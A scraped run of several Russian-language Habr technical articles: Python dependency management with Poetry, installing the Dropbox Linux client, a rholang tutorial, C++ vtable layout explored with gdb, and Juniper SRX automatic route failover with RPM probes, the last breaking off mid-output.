Либо можно в коде использовать какое то значение по умолчанию, но я такой способ не люблю, потому что это хард код, и это убивает гибкость нашего приложения. Работа приложения должна настраиваться или через переменные окружения, или файлы конфигов, или записи БД.
Заключение
----------
Этот набор правил конечно не абсолютен, в первую очередь включаем голову и пользуемся здравым смыслом.
Давайте обсудим в комментариях. Пожалуйста, поделитесь своим опытом. | https://habr.com/ru/post/543190/ | null | ru | null |
# Мелкая питонячая радость #3: Poetry
Управление зависимостями? Шо, опять?
------------------------------------
Экосистема Python породила целую пачку способов управления зависимостями в проектах.
Прямо сейчас можно выбирать между setup.py, requirements.txt, setup.cfg, MANIFEST.in и Pipfile.
Но французского питониста Sébastien Eustace все эти способы не устроили, и он написал свою штуку для менеджмента питонячих пакетов — [Poetry](https://poetry.eustace.io/). Зачем он это сделал? Чтобы заменить все эти setup.py, requirements.txt, setup.cfg, MANIFEST.in и Pipfile чем-то простым и понятным. Плюс добавить кое-что полезное сверху.
Poetry позволяет рулить сразу кучей вещей — версией языка в вашем проекте, зависимостями, подключаемыми путями, скриптами тестирования/разработки, сборкой и публикацией билдов.Все необходимые пути, зависимости и скрипты описываются в специальном файле *pyproject.toml*.
Poetry лучше всего работает в паре с [pyenv](https://github.com/pyenv/pyenv) — системой управления множественными версиями Python и виртуальными окружениями.
Щупаем
------
Засучим рукава и посмотрим, как poetry работает в деле. Первым делом ставим [pyenv](https://github.com/pyenv/pyenv), следуя официальной инструкции в доках.
```
# Обновляем pyenv, если он у вас не первой свежести
$ pyenv update
# Смотрим и выбираем версию Python для использования в проекте
$ pyenv install -l
# Ставим нужную версию языка, если у вас ее еще нет
$ pyenv install 3.7.3
# Маководы могут словить проблем с zlib, придется заюзать команду
# CFLAGS="-I$(xcrun --show-sdk-path)/usr/include" pyenv install 3.7.3
# Прописываем нужный интерпретатор и привязываем его к текущей папке
$ pyenv local 3.7.3
# Ставим poetry
$ pip3 install poetry
# Конфигурим новый проект
$ poetry init
# Poetry задаст несколько вопросов и по итогу напишет файл pyproject.toml, в котором пропишет все настройки проекта
# Добавим пару пакетов в проект. Пакеты будут доступны только в виртуальное среде, которая сейчас активна в текущей папке.
$ poetry add flask celery
# Poetry все поставит и пропишет зависимости в pyproject.toml
# Если у вас есть пакеты, которые не поставить через PIP (например, кусок кода от другого подразделения вашей конторы), можно добавить зависимость вручную
$ poetry add my-package --path ../my-package/
# Посмотрим установленные зависимости в красивом виде
$ poetry show
# Теперь можно запускать команды в виртуальной среде Python
$ poetry run python
# Мы только что запустили интепретатор Python из нашей среды, в нем уже доступны flask и celery, которые мы поставили ранее.
```
Среда установлена и настроена, зависимости управляются одним пальцем, можно пилить код!
У вас, скорее всего, появятся в проекте команды запуска сервера, воркеров, скриптов деплоя и тестирования. Их можно засунуть в *pyproject.toml* и тоже рулить ими одним пальцем.
Добавляем в файл
```
my-script = "my_module:main"
```
и теперь можно запускать скрипт командой
```
poetry run my-script
```
Зачем это все?
--------------
Потратив десяток минут на освоение этой штуки, вы сэкономите время и нервы на управлении версиями языка и пакетов, отслеживании зависимостей и настройке путей. Особенно это поможет тем, кто хоть раз пробовал опубликовать свои наработки в pip :)
* Резолвер зависимостей, способный всегда найти решение конфликтам версий пакетов (если оно вообще существует)
* Автоматическое создание изолированных сред для запускапроектов.
* Приятная консольная утилита, которая здорово упрощает запуск, тесты и деплой проектов.
Poetry прекасно дружит с другими управлялками виртуальными средами, так что интегрировать новый подход в старые проекты будет очень легко. | https://habr.com/ru/post/455335/ | null | ru | null |
# Появился клиент Dropbox под Linux
Про этот замечательный [сервис](http://getdropbox.com/) на Хабре уже несколько раз [писали](http://habrahabr.ru/tag/dropbox/).
Сегодня с радостью для себя заметил, что на форуме проекта появилась [тема](http://forums.getdropbox.com/topic.php?id=2449&replies=115) про клиент для Linux. Напомню, ранее был клиент только под Windows и MacOS X.
Особых сложностей установка не вызывает — есть сборки под Федору и Убунту (для нее также есть и репозиторий) — под обе основные архитектуры, также доступен исходный код. Единственное существенное ограничение на данный момент — поддерживается только файловый менеджер Nautilus (среда Gnome), так что любителям KDE стоит либо подождать, либо написать свой клиент — исходники открыты.
Краткая инструкция по установке:
1. Идем по адресу [www.getdropbox.com/beta](http://www.getdropbox.com/beta) (находясь при этом в Linux), качаем пакет под нужный дистрибутив/архитектуру, либо исходники (не буду вдаваться в подробности сборки из исходников)
2. Устанавливаем пакет — в Убунту это либо
`sudo dpkg -i nautilus-dropbox_x.x.x-x_xxxx.deb`,
либо, если используется репозиторий,
`sudo apt-get install nautilus-dropbox`
В Федоре, наверное, что-то типа
`sudo rpm -i nautilus-dropbox-x.x.x-x.fc9.xxxx.rpm`
3. Делаем в консоли `killall nautilus` для перезапуска файлового менеджера. Если используете Compiz, лучше перелогиньтесь (так советуют разработчики)
4. После перезапуска Наутилуса или логина в области уведомлений появится значек программы, он докачает что-то ему нужное, и после этого предложит привязать себя к аккаунту dropbox — либо существующему, либо новому (новые пока только по инвайтам)
5. После привязки к аккаунту, произойдет синхронизация содержимого на сервере и вашей локальной папки $HOME/Dropbox
6. Enjoy!
Пользуясь случаем, раздам инвайты, их опять стало 10 штук.
**UPD**: у меня инвайты кончились, [flomop](https://habrahabr.ru/users/flomop/) еще раздает в комментах. | https://habr.com/ru/post/39204/ | null | ru | null |
# rholang — язык программирования для распределенных систем
[RChain](https://developer.rchain.coop/) — распределенная вычислительная блокчейн-платформа. Как ethereum, только на порядок шустрее. В теории, ее можно масштабировать до бесконечности, первые реализации на практике позволяют обрабатывать до 40 тысяч транзакций в секунду. Технические подробности — в документе про [архитектуру](http://rchain-architecture.readthedocs.io/en/latest/).
Контракты на платформе RChain написаны на языке [rholang](https://github.com/rchain/rchain/tree/master/rholang), с которым я бы хотел познакомить аудиторию хабра. Попробовать написать и выполнить программы на этом языке можно либо скачав и запустив [Rchain-ноду](https://hub.docker.com/r/rchain/rnode/) через докер, либо воспользовавшись [интерпретатором на сайте](http://rchain.cloud).
Полный [туториал](https://github.com/rchain/rchain/blob/master/rholang/doc/rholangtut-0.2.md)
=============================================================================================
Роланг (или просто **ро**) — это "процессо-ориентированный" язык. Все вычисления на нем выполняются при помощи передачи сообщений между "*каналами*". На *каналах* хранятся множества сообщений. Ро — полностью асинхронный язык, поэтому очередность, с какой сообщения поступают на *каналы*, не играет никакой роли. Например, с *канала* можно считать сообщение и затем выполнить над этим сообщением какую-нибудь операцию. Однако нельзя отправить сообщение и потом сделать что-нибудь после того, как сообщение будет получено. По крайней мере, не прописывая отдельным образом ожидание сообщения с подтверждением доставки. Стоит отметить, что в этом туториале мы будем использовать термины *имя* и *канал* как синонимы. В [алгебре](http://www.sciencedirect.com/science/article/pii/S1571066105051893), на которой основан rholang, используется термин *имя*, но так как мы можем с их помощью посылать и получать данные, то семантически они похожи на *каналы*.
Контракты и отправка данных
---------------------------
```
1 contract @"HelloWorld"(return) = {
2 return!("Hello, World!")
3 } |
4 new myChannel in {
5 @"HelloWorld"!(*myChannel)
6 }
```
* Программа на ро — единый процесс состоящий из нескольких частей, которые исполняются синхронно. Это процессс запускается при помощи создания контракта с именем @"HelloWorld". Создание контракта запускает процесс, который вызывает копию своего "тела" каждый раз, когда он получает сообщение. Стоит отметить, что в роланге все процессы могут быть "цитированы" при помощи оператора @ и превратиться в *канал*. Строки — это просто особые процессы, и мы можем процитировать любой процесс и создать таким образом *канал*. За хранение данных на платформе RChain отвечает библиотека [rspace](https://habr.com/sandbox/115270/), написанная на Scala.
* На канале `return` мы посылаем строку "Hello, World!"
* Конструкция `new ... in` позволяет создать новый приватный канал. Никакой иной процесс не может отправлять или получать с этого канала сообщения. Каждое исключение необходимо указывать отдельно, отправляя *имя\_канала* другому процессу.
* Мы посылаем *канал* myChannel контракту по адресу @"HelloWorld". Оператор `*` означает "обратное цитирование" ("unquoting") *канала* и возвращает исходный процесс. В ро можно только посылать процессы по каналам, нельзя напрямую посылать *каналы* на *каналы*. Такими образом мы превращаем приватный канал в процесс перед его отправкой.
Получение данных
----------------
```
1 contract @"HelloAgain"(_) = {
2 new chan in {
3 chan!("Hello again, world!") |
4 for (@text <- chan) { Nil }
5 }
6 } | @"HelloAgain"!(Nil)
```
* Контракты обладают хотя бы одним параметром, но мы можем обойти это, указав подстановочный символ`_`.
* Мы создаем новый канал `chan`.
* Мы посылаем строчный процесс "Hello again, world!" по новому *каналу*.
* Мы слушаем новый канал и ждем единственного сообщения. Операция `for` остается заблокированной до тех пор, пока на канале `chan` не будет сообщения. В ро по *каналам* можно получать только *имена*, а вот отправлять можно и цитированные процессы. Присвоение слева от выражения `<-` представляет собой паттерн имен.В данном примере это `@text`, что означает, что получаемое имя является цитированным процессом и мы хотим связать этот процесс к свободной текстовой переменной. Операция `for` ведет себя аналогично: она может читать только одно сообщение и затем становится телом, а не вызывает копию себя в каждом сообщения. В таком случае мы ничего не делаем в `for` и превращаем его в остановленный процесс `Nil`, в принципе мы можем совершить с текстом на канале `chan` и другие операции.
Изменение состояний
-------------------
```
1 new MakeCell in {
2 // Makes a single cell in which you can store values
3 contract MakeCell(@init, get, set) = {
4 new valueStore in {
5 valueStore!(init) |
6 contract get(ack) = {
7 for(@value <- valueStore) {
8 valueStore!(value) | ack!(value)
9 }
10 } |
11 contract set(@newValue, ack) = {
12 for(_ <- valueStore) {
13 valueStore!(newValue) | ack!(true)
14 }
15 }
16 }
17 } |
18 // Cell usage.
19 new myGet, mySet in {
20 MakeCell!(123, *myGet, *mySet) |
21 new ack in {
22 myGet!(*ack) |
23 for (@result <- ack) {
24 //result now contains the value 123
25 mySet!(456, *ack) |
26 for (_ <- ack) {
27 myGet!(*ack) |
28 for (@result <- ack) {
29 //result now contains the value 456
30 Nil
31 }
32 }
33 }
34 }
35 }
36 }
```
1. Мы создаем новый канал `MakeCell` и затем используем его на строке 3 как имя внутреннего контракта. Никакой другой процесс, кроме кода в этом лексическом окружении может его вызвать.
2. Контракту `MakeCell` необходимы три аргумента. Первый аргумент — это значение, которое будет содержать эта ячейка. Второй и третий — каналы, по которым ячейка будет получать запросы на чтение и запись. Отметим, что первый аргумент должен быть процессом, а второй и третий — именами. Так как имена всегда посылают по каналам, то первым аргументом станет паттерн, начинающийся с `@`, который показывает на то, что получаемое имя является цитированным процессом и мы хотим связать этот процесс с переменной.
3. Чтобы сохранить значение, мы создаем новый канал. Этот канал будет содержать максимум одно значение, текущее значение ячейки.
4. До этой линии на канале `valueStore` нет ни одного сообщения. После того, как мы установим начальное значение, это значение станет единственным на этом канале.
5. Мы запускаем контракт, который слушает на канале чтения. Каждый раз, когда получено сообщение, выполняется тело конткракта.
6. Мы блокируем контракт, пока ты не получим сообщение на канале `valueStore`. Так как на канале `valueStore` может ожидать не более одного сообщения, прочитывание сообщения является своеобразным замком.
7. Мы снова передаем текущее значение канал `valueStore`, открывая обработку других сообщений и снимая блок. Теперь мы передаем текущее значение обратно клиенту на канале `ack`.
8. Синхронно с get контрактом мы запускаем контракт, который слушает на set.
9. Мы блокируем его, до тех пор, пока не появится сообщение на `valueStore`, а затем читаем его. Мы выбрасываем сообщение, которое прочитали.
10. Мы отправляем новое значение в хранилище на канале `valueStore` и даем сигнал, что операция завершилась.
* 18-36) Код, который показывает создание ячейки, установку начального значения `123`, считывание этого значения, установку значения `456`, получение этого значения.
Отметим глубину слоёв, на которые распространяется вызов. Ро спроектирован специально для описания синхронных вычислений и поэтому необходимо явно указывать порядок действий там, где в других языках это само собой разумеется.
Заключение
----------
Ро — это язык, который создан для использования на блокчейнах, но мы ещё не дошли до устройства нод, пространств имён, кошельков, Rev и флогистона, структуры сети или консенсус-алгоритма Casper.
Полный [туториал](https://github.com/rchain/rchain/blob/master/rholang/doc/rholangtut-0.2.md). | https://habr.com/ru/post/354398/ | null | ru | null |
# C++ vtables. Часть 1 (basics + multiple Inheritance)
*Всем привет! Перевод статьи подготовлен специально для студентов курса [«Разработчик С++»](https://otus.pw/d2qJ/). Интересно развиваться в данном направлении? Приходите онлайн 13 декабря в 20:00 по мск. на мастер-класс [«Практика использования Google Test Framework»](https://otus.pw/x79M/)!*
В этой статье мы рассмотрим, как clang реализует vtables (таблицы виртуальных методов) и RTTI (идентификацию типа времени исполнения). В первой части мы начнем с базовых классов, а затем рассмотрим множественное и виртуальное наследование.
Обратите внимание, что в этой статье нам предстоит покопаться в двоичном представлении, сгенерированном для различных частей нашего кода, с помощью gdb. Это довольно низкий уровень, но я сделаю всю тяжелую работу за вас. Я не думаю, что большинство будущих постов будут описывать детали такого низкого уровня.
> *Дисклеймер*: все написанное здесь зависит от реализации, может измениться в любой будущей версии, так что не следует на это полагаться. Мы рассматриваем это только в образовательных целях.
отлично, тогда давайте начнем.
Часть 1 — vtables — Основы
--------------------------
Давайте рассмотрим следующий код:
```
#include
using namespace std;
class NonVirtualClass {
public:
void foo() {}
};
class VirtualClass {
public:
virtual void foo() {}
};
int main() {
cout << "Size of NonVirtualClass: " << sizeof(NonVirtualClass) << endl;
cout << "Size of VirtualClass: " << sizeof(VirtualClass) << endl;
}
```
```
$ # скомпилируйте и запустите main.cpp
$ clang++ main.cpp && ./a.out
Size of NonVirtualClass: 1
Size of VirtualClass: 8
```
`NonVirtualClass` имеет размер 1 байт, потому что в C++ классы не могут иметь нулевой размер. Однако сейчас это не важно.
Размер `VirtualClass` составляет 8 байт на 64-битной машине. Почему? Потому что внутри есть скрытый указатель, указывающий на vtable. vtables — это статические таблицы трансляции, создаваемые для каждого виртуального класса. Эта статья рассказывает об их содержании и о том, как они используются.
Чтобы получить более глубокое понимание того, как выглядят vtables, давайте рассмотрим следующий код с помощью gdb, чтобы выяснить, как распределена память:
```
#include
class Parent {
public:
virtual void Foo() {}
virtual void FooNotOverridden() {}
};
class Derived : public Parent {
public:
void Foo() override {}
};
int main() {
Parent p1, p2;
Derived d1, d2;
std::cout << "done" << std::endl;
}
```
```
$ # скомпилируем наш код с отладочными символами и начнем отладку, используя gdb
$ clang++ -std=c++14 -stdlib=libc++ -g main.cpp && gdb ./a.out
...
(gdb) # установим gdb автоматически де-декорировать символы C++
(gdb) set print asm-demangle on
(gdb) set print demangle on
(gdb) # установим точку останова на main
(gdb) b main
Breakpoint 1 at 0x4009ac: file main.cpp, line 15.
(gdb) run
Starting program: /home/shmike/cpp/a.out
Breakpoint 1, main () at main.cpp:15
15 Parent p1, p2;
(gdb) # перейдем к следующей строке
(gdb) n
16 Derived d1, d2;
(gdb) # перейдем к следующей строке
(gdb) n
18 std::cout << "done" << std::endl;
(gdb) # выведем p1, p2, d1, d2 - мы скоро поговорим о том, что означает вывод
(gdb) p p1
$1 = {_vptr$Parent = 0x400bb8 }
(gdb) p p2
$2 = {\_vptr$Parent = 0x400bb8 }
(gdb) p d1
$3 = { = {\_vptr$Parent = 0x400b50 }, }
(gdb) p d2
$4 = { = {\_vptr$Parent = 0x400b50 }, }
```
Вот что мы узнали из вышеизложенного:
— Несмотря на то, что у классов нет членов данных, существует скрытый указатель на vtable;
— vtable для p1 и p2 одинаков. vtables — это статические данные для каждого типа;
— d1 и d2 наследуют vtable-указатель от Parent, который указывает на vtable Derived;
— Все vtables указывают на смещение 16 (0x10) байтов в vtable. Это мы также обсудим позже.
Давайте продолжим нашу gdb-сессию, чтобы увидеть содержимое vtables. Я буду использовать команду x, которая выводит память на экран. Мы собираемся вывести 300 байтов в шестнадцатеричном формате, начиная с 0x400b40. Почему именно этот адрес? Потому что выше мы видели, что указатель vtable указывает на 0x400b50, а символ для этого адреса `vtable for Derived+16 (16 == 0x10)`.
```
(gdb) x/300xb 0x400b40
0x400b40 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400b48 : 0x90 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400b50 : 0x80 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400b58 : 0x90 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400b60 : 0x37 0x44 0x65 0x72 0x69 0x76 0x65 0x64
0x400b68 : 0x00 0x36 0x50 0x61 0x72 0x65 0x6e 0x74
0x400b70 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400b78 : 0x90 0x20 0x60 0x00 0x00 0x00 0x00 0x00
0x400b80 : 0x69 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400b88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400b90 : 0x10 0x22 0x60 0x00 0x00 0x00 0x00 0x00
0x400b98 : 0x60 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400ba0 : 0x78 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400ba8 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x400bb0 : 0x78 0x0b 0x40 0x00 0x00 0x00 0x00 0x00
0x400bb8 : 0xa0 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
0x400bc0 : 0x90 0x0a 0x40 0x00 0x00 0x00 0x00 0x00
...
```
> Примечание: мы смотрим на де-декорированные (demangled) символы. Если вам действительно интересно, \_ZTV — это префикс для vtable, \_ZTS — это префикс для строки типа (имени), а \_ZTI для typeinfo.
---
Вот структура `vtable Parent`:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x400ba8 | 0x0 | top\_offset (подробнее об этом позже) |
| 0x400bb0 | 0x400b78 | Указатель на typeinfo for Parent (также является частью вышеприведенного дампа памяти) |
| 0x400bb8 | 0x400aa0 | Указатель на Parent::Foo() *(1)*. \_vptr Parent указывает сюда. |
| 0x400bc0 | 0x400a90 | Указатель на Parent::FooNotOverridden() *(2)* |
Вот структура `vtable Derived`:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x400b40 | 0x0 | top\_offset (подробнее об этом позже) |
| 0x400b48 | 0x400b90 | Указатель на typeinfo for Derived (также является частью вышеприведенного дампа памяти) |
| 0x400b50 | 0x400a80 | Указатель на Derived::Foo() *(3)*.,\_vptr Derived указывает сюда. |
| 0x400b58 | 0x400a90 | Указатель на Parent::FooNotOverridden() (такой же, как и у Parent) |
1:
```
(gdb) # выясним, какой отладочный символ мы имеем для адреса
0x400aa0
(gdb) info symbol 0x400aa0
Parent::Foo() in section .text of a.out
```
2:
```
(gdb) info symbol 0x400a90
Parent::FooNotOverridden() in section .text of a.out
```
3:
```
(gdb) info symbol 0x400a80
Derived::Foo() in section .text of a.out
```
Помните, что указатель vtable в Derived указывал на смещение +16 байтов в vtable? Третий указатель является адресом указателя первого метода. Хотите третий метод? Нет проблем — добавьте 2 *sizeof(void*) к указателю vtable. Хотите запись typeinfo? перейдите к указателю перед ним.
Двигаемся дальше — как насчет структуры записей typeinfo?
`Parent`:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x400b78 | 0x602090 | Вспомогательный класс для методов type\_info *(1)* |
| 0x400b80 | 0x400b69 | Строка, представляющая имя типа *(2)* |
| 0x400b88 | 0x0 | 0 означает отсутствие родительской записи typeinfo |
А вот запись `typeinfo Derived`:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x400b90 | 0x602210 | Вспомогательный класс для методов type\_info *(3)* |
| 0x400b98 | 0x400b60 | Строка, представляющая имя типа *(4)* |
| 0x400ba0 | 0x400b78 | Указатель на запись typeinfo Parent |
1:
```
(gdb) info symbol 0x602090
vtable for __cxxabiv1::__class_type_info@@CXXABI_1.3 + 16 in section .bss of a.out
```
2:
```
(gdb) x/s 0x400b69
0x400b69 : "6Parent"
```
3:
```
(gdb) info symbol 0x602210
vtable for __cxxabiv1::__si_class_type_info@@CXXABI_1.3 + 16 in section .bss of a.out
```
4:
```
(gdb) x/s 0x400b60
0x400b60 : "7Derived"
```
Если вы хотите узнать больше о \_\_si\_class\_type\_info, вы можете найти некоторую информацию [здесь](https://refspecs.linuxfoundation.org/LSB_4.0.0/LSB-CXX-generic/LSB-CXX-generic/baselib.html), а также [здесь](https://gcc.gnu.org/onlinedocs/gcc-4.6.2/libstdc++/api/a01094_source.html).
Это исчерпывает мои навыки с gdb, а также завершает эту часть. Я предполагаю, что некоторые люди сочтут это слишком низким уровнем, или, возможно, просто не имеющим практической ценности. Если это так, я бы порекомендовал пропустить части 2 и 3, перейдя прямо к [части 4](https://shaharmike.com/cpp/vtable-part4/).
Часть 2 — Множественное наследование
------------------------------------
Мир иерархий одиночного наследования проще для компилятора. Как мы видели в первой части, каждый дочерний класс расширяет родительский vtable, добавляя записи для каждого нового виртуального метода.
Давайте рассмотрим множественное наследование, которое усложняет ситуацию, даже когда наследование реализуется только чисто от интерфейсов.
Посмотрим на следующий фрагмент кода:
```
class Mother {
public:
virtual void MotherMethod() {}
int mother_data;
};
class Father {
public:
virtual void FatherMethod() {}
int father_data;
};
class Child : public Mother, public Father {
public:
virtual void ChildMethod() {}
int child_data;
};
```
| Структура Child |
| --- |
| \_vptr$Mother |
| mother\_data (+ заполнение) |
| \_vptr$Father |
| father\_data |
| child\_data *(1)* |
Обратите внимание, что есть 2 указателя vtable. Интуитивно я бы ожидал 1 или 3 указателя (Mother, Father и Child). На самом деле невозможно иметь один указатель (подробнее об этом далее), и компилятор достаточно умен, чтобы объединять записи дочерней vtable Child как продолжение vtable Mother, сохраняя таким образом 1 указатель.
Почему у Child не может быть одного указателя vtable для всех трех типов? Помните, что указатель Child может быть передан в функцию, принимающую указатель Mother или Father, и оба будут ожидать, что указатель this будет содержать правильные данные в правильных смещениях. Эти функции не обязательно должны знать о Child, и определенно не следует предполагать, что Child — это действительно то, что находится под указателем Mother/Father, которым они оперируют.
*(1) Не имеет отношения к этой теме, но, тем не менее, интересно, что child\_data фактически помещается в заполнении Father. Это называется «tail padding» и может быть темой будущего поста.*
Вот структура `vtable`:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x4008b8 | 0 | top\_offset (подробнее об этом позже) |
| 0x4008c0 | 0x400930 | указатель на typeinfo for Child |
| 0x4008c8 | 0x400800 | Mother::MotherMethod(). \_vptr$Mother указывает сюда. |
| 0x4008d0 | 0x400810 | Child::ChildMethod() |
| 0x4008d8 | -16 | top\_offset (подробнее об этом позже) |
| 0x4008e0 | 0x400930 | указатель на typeinfo for Child |
| 0x4008e8 | 0x400820 | Father::FatherMethod(). \_vptr$Father указывает сюда. |
В этом примере экземпляр Child будет иметь тот же указатель при приведении к указателю Mother. Но при приведении к указателю Father компилятор вычисляет смещение указателя this, чтобы указать на \_vptr$Father часть Child (3-е поле в структуре Child, см. таблицу выше).
Другими словами, для данного Child c;: (void*)&c != (void*)static\_cast(&c). Некоторые люди не ожидают этого, и, возможно, однажды эта информация сэкономит вам время на отладку.
Я находил это полезным не один раз. Но подождите, это еще не все.
Что, если Child решил переопределить один из методов Father? Рассмотрим этот код:
```
class Mother {
public:
virtual void MotherFoo() {}
};
class Father {
public:
virtual void FatherFoo() {}
};
class Child : public Mother, public Father {
public:
void FatherFoo() override {}
};
```
Ситуация становится сложнее. Функция может принимать аргумент Father\* и вызывать FatherFoo() для него. Но если вы передадите экземпляр Child, ожидается, что он вызовет переопределенный метод Child с правильным указателем this. Тем не менее, вызывающий не знает, что он действительно содержит Child. Он имеет указатель на смещение Child, где находится расположение Father. Кто-то должен выполнить смещение указателя this, но как это сделать? Какую магию выполняет компилятор, чтобы заставить это работать?
*Прежде чем мы ответим на это, обратите внимание, что переопределение одного из методов Mother не очень мудрено, так как указатель this одинаков. Child знает, что нужно читать после vtable Mother, и ожидает, что методы Child будут сразу после нее.*
Вот решение: компилятор создает метод ”переходник” (thunk), который исправляет указатель this, а затем вызывает “настоящий” метод. Адрес метода-переходника будет находиться под vtable Father, в то время как “настоящий” метод будет под vtable Child.
Вот `vtable Child`:
```
0x4008e8 : 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x4008f0 : 0x60 0x09 0x40 0x00 0x00 0x00 0x00 0x00
0x4008f8 : 0x00 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400900 : 0x10 0x08 0x40 0x00 0x00 0x00 0x00 0x00
0x400908 : 0xf8 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0x400910 : 0x60 0x09 0x40 0x00 0x00 0x00 0x00 0x00
0x400918 : 0x20 0x08 0x40 0x00 0x00 0x00 0x00 0x00
```
Что означает:
| Адрес | Значение | Содержание |
| --- | --- | --- |
| 0x4008e8 | 0 | top\_offset (скоро!) |
| 0x4008f0 | 0x400960 | typeinfo for Child |
| 0x4008f8 | 0x400800 | Mother::MotherFoo() |
| 0x400900 | 0x400810 | Child::FatherFoo() |
| 0x400908 | -8 | top\_offset |
| 0x400910 | 0x400960 | typeinfo for Child |
| 0x400918 | 0x400820 | не виртуальный переходник Child::FatherFoo() |
Объяснение: как мы видели ранее, у Child есть 2 vtables — одна используется для Mother и Child, а другая для Father. В vtable Father, FatherFoo() указывает на “переходник”, а в vtable Child указывает непосредственно на Child::FatherFoo().
А что в этом “переходнике”, спросите вы?
```
(gdb) disas /m 0x400820, 0x400850
Dump of assembler code from 0x400820 to 0x400850:
15 void FatherFoo() override {}
0x0000000000400820 : push %rbp
0x0000000000400821 : mov %rsp,%rbp
0x0000000000400824 : sub $0x10,%rsp
0x0000000000400828 : mov %rdi,-0x8(%rbp)
0x000000000040082c : mov -0x8(%rbp),%rdi
0x0000000000400830 : add $0xfffffffffffffff8,%rdi
0x0000000000400837 : callq 0x400810
0x000000000040083c : add $0x10,%rsp
0x0000000000400840 : pop %rbp
0x0000000000400841 : retq
0x0000000000400842: nopw %cs:0x0(%rax,%rax,1)
0x000000000040084c: nopl 0x0(%rax)
```
Как мы уже обсуждали — смещения this и вызов FatherFoo(). И на сколько мы должны сместить this, чтобы получить Child? top\_offset!
*Обратите внимание, что я лично считаю, что имя non-virtual thunk чрезвычайно запутанно, поскольку это запись в виртуальной таблице для виртуальной функции. Я не уверен, что тут не виртуального, но это только мое мнение.*
---
*Пока на этом всё, в ближайшем будущем переведем 3 и 4 части. Следите за новостями!* | https://habr.com/ru/post/479802/ | null | ru | null |
# Автоматическое переключение маршрута в Juniper SRX
Небольшая инструкция про то, как автоматизировать переключение сетевого маршрута в случае проблем с одним из линков. Дальше прошу под кат
Легенда — есть две площадки, связанных по L2 транспорту через двух разных провайдеров. Нужно обеспечить связность между сетями через ISP1 (первичный маршрут). В случае проблем с ISP1 автоматически переключиться на ISP2.
Устройства — Juniper SRX.
Для простейшей реализация этой задачи достаточно на FW1 прописать статический маршрут в сеть 192.168.2.0 через 10.0.0.2 c меньшей метрикой и через 10.0.0.6 с большей. На FW2 наоборот. Но работать этот метод будет только при падении интерфейса в сторону одного из провайдеров, что на практике бывает очень редко, поэтому нужно контролировать состояние канала другим способом.
Для этого в Juniper есть сервис **[RPM (Real-Time Performance Monitoring)](https://www.juniper.net/documentation/en_US/junos/topics/concept/security-rpm-overview.html)**. Вот о его использовании в этом сценарии я и хочу рассказать.
На FW1 у нас есть обычная статическая запись (на FW2 зеркальная через 10.0.0.1):
```
set routing-options static route 192.168.2.0/24 next-hop 10.0.0.2
```
В таблице маршрутизации видим эту запись:
```
show route 192.168.2.0/24
192.168.2.0/24 *[Static/5] 1d 07:20:14
> to 10.0.0.2 via reth1.1
```
Настраиваем сервис RPM для контроля первичного соединения. Отправляем пинг на адрес 10.0.0.2 по 10 штук на тест с интервалом 5 сек (probe-interval 5). Интервал между тестами тоже 5 сек, т.е. у нас фактически идет непрерывный пинг каждые 5 сек. Если в течение теста мы потеряли 5 пингов подряд, тест считается проваленным.
```
set services rpm probe SLA_LAN2 test CHECK_PRIMARY_FW2 target address 10.0.0.2
set services rpm probe SLA_LAN2 test CHECK_PRIMARY_FW2 probe-count 10
set services rpm probe SLA_LAN2 test CHECK_PRIMARY_FW2 probe-interval 5
set services rpm probe SLA_LAN2 test CHECK_PRIMARY_FW2 test-interval 5
set services rpm probe SLA_LAN2 test CHECK_PRIMARY_FW2 thresholds successive-loss 5
```
Настраиваем реакцию на тест. В случае, если тест провален, добавляем маршрут через ISP2
```
set services ip-monitoring policy LAN2_FAILOVER match rpm-probe SLA_LAN2
set services ip-monitoring policy LAN2_FAILOVER then preferred-route route 192.168.2.0/24 next-hop 10.0.0.6
```
Проверяем:
```
show services ip-monitoring status
Policy - LAN2_FAILOVER (Status: PASS)
RPM Probes:
Probe name Test Name Address Status
------------------ --------------- ---------- ---------
SLA_LAN2 CHECK_PRIMARY_FW2 10.0.0.2 PASS
Route-Action:
route-instance route next-hop state
----------------- ----------------- ---------------- -------------
inet.0 192.168.2.0/24 10.0.0.6 NOT-APPLIED
```
На FW2 надо настроить зеркальную конфигурацию:
```
set services rpm probe SLA_LAN1 test CHECK_PRIMARY_FW1 target address 10.0.0.1
set services rpm probe SLA_LAN1 test CHECK_PRIMARY_FW1 probe-count 10
set services rpm probe SLA_LAN1 test CHECK_PRIMARY_FW1 probe-interval 5
set services rpm probe SLA_LAN1 test CHECK_PRIMARY_FW1 test-interval 5
set services rpm probe SLA_LAN1 test CHECK_PRIMARY_FW1 thresholds successive-loss 5
set services ip-monitoring policy LAN1_FAILOVER match rpm-probe SLA_LAN1
set services ip-monitoring policy LAN1_FAILOVER then preferred-route route 192.168.1.0/24 next-hop 10.0.0.5
```
Можно тестировать, отключаем один из интерфейсов (vlan из транка в сторону FW), чтобы физически линк остался живым. Теряем около 6 пингов из LAN1 в LAN2, примерно через 30 сек. видим на FW1 следующее:
```
show services ip-monitoring status
Policy - LAN2_FAILOVER (Status: FAIL)
RPM Probes:
Probe name Test Name Address Status
------------------ --------------- ---------- ---------
SLA_LAN2 CHECK_PRIMARY_FW2 10.0.0.2 FAIL
Route-Action:
route-instance route next-hop state
----------------- ----------------- ---------------- -------------
inet.0 192.168.2.0/24 10.0.0.6 APPLIED
```
В таблице маршрутизации видим новую запись:
```
192.168.2.0/24 *[Static/1] 00:01:24, metric2 0
